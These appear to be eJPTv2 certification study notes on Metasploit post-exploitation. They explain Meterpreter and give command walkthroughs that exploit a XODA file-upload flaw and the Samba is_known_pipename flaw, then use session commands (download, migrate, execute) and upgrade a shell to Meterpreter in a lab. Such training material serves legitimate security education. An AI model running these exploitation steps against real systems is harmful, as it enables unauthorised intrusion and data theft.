> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/the-metasploit-framework-msf/exploitation/post-exploitation-fundamentals.md).

# Post Exploitation Fundamentals

### Meterpreter Fundamentals

* Post exploitation refers to the actions performed on the target system after initial access has been obtained.
* The post exploitation phase of a penetration test consists of varioustechniques like :&#x20;
  * Local Enumeration
  * Privilege Escalation
  * Dumping Hashes
  * Establishing Persistence
  * Clearing Your Tracks
  * Pivoting&#x20;

Meterpreter

* The Meterpreter (Meta-Interpreter) payload is an advanced multi-functional payload that operates via DLL injection and is executed in memory on the target system, consequently making it difficult to detect.
* It communicates over a stager socket and provides an attacker with an interactive command interpreter on the target system that facilitates the execution of system commands, file system navigation, keylogging and much more.
* Meterpreter also allows us to lead custom script and plugins dynamically.
* MSF provides us with various types of meterpreter payloads that can be used based on the target environment and the OS architecture.

DEMO

```
msfconsole -q 
> workspace -a meterpreter
> setg RHOSTS <IP>
> db_nmap -sS -sV -O <IP>
> curl http://<IP>/
> search XODA 
> use exploit/unix/webapp/xoda_file_upload
> show options
> set TargetURI /
> run
>>>> sysinfo 
>>>> getuid 
>>>> background or ctrl+z 
>>>> sessions 
>>>> session -h 
>>>> sessions -C <command> -i <sessionID>
>>>> session -n <nameOfSesssion> -i <sessionID>
>>>> cat flag1
>>>> download <remmote-file-name.zip>
>>>> checksum md5 /bin/bash
>>>> getenv PATH
>>>> getenv TERM
>>>> search -d /usr/bin -f "backdoor"
>>>> ps 
>>>> migrate <processID or processName>
>>>> execute -f <command>
```

### Upgrading Command Shells To Meterpreter Shells

```
msfconsole -q 
> workspace -a upgrading_shells
> setg RHOSTS <IP>
> db_nmap -sV <IP>
> search type: exploit samba
> use exploit/linux/samba/is_known_pipname
> run 

# ls
# /bin/bash -i 
ctrl + z
> sessions
> search shell_to_meterpreter
> use post/multi/manage/shell_to_meterpreter
> set Session 1
> set LHOST eth1
> run 
> sessions
> sessions -u 1 {automation}
```
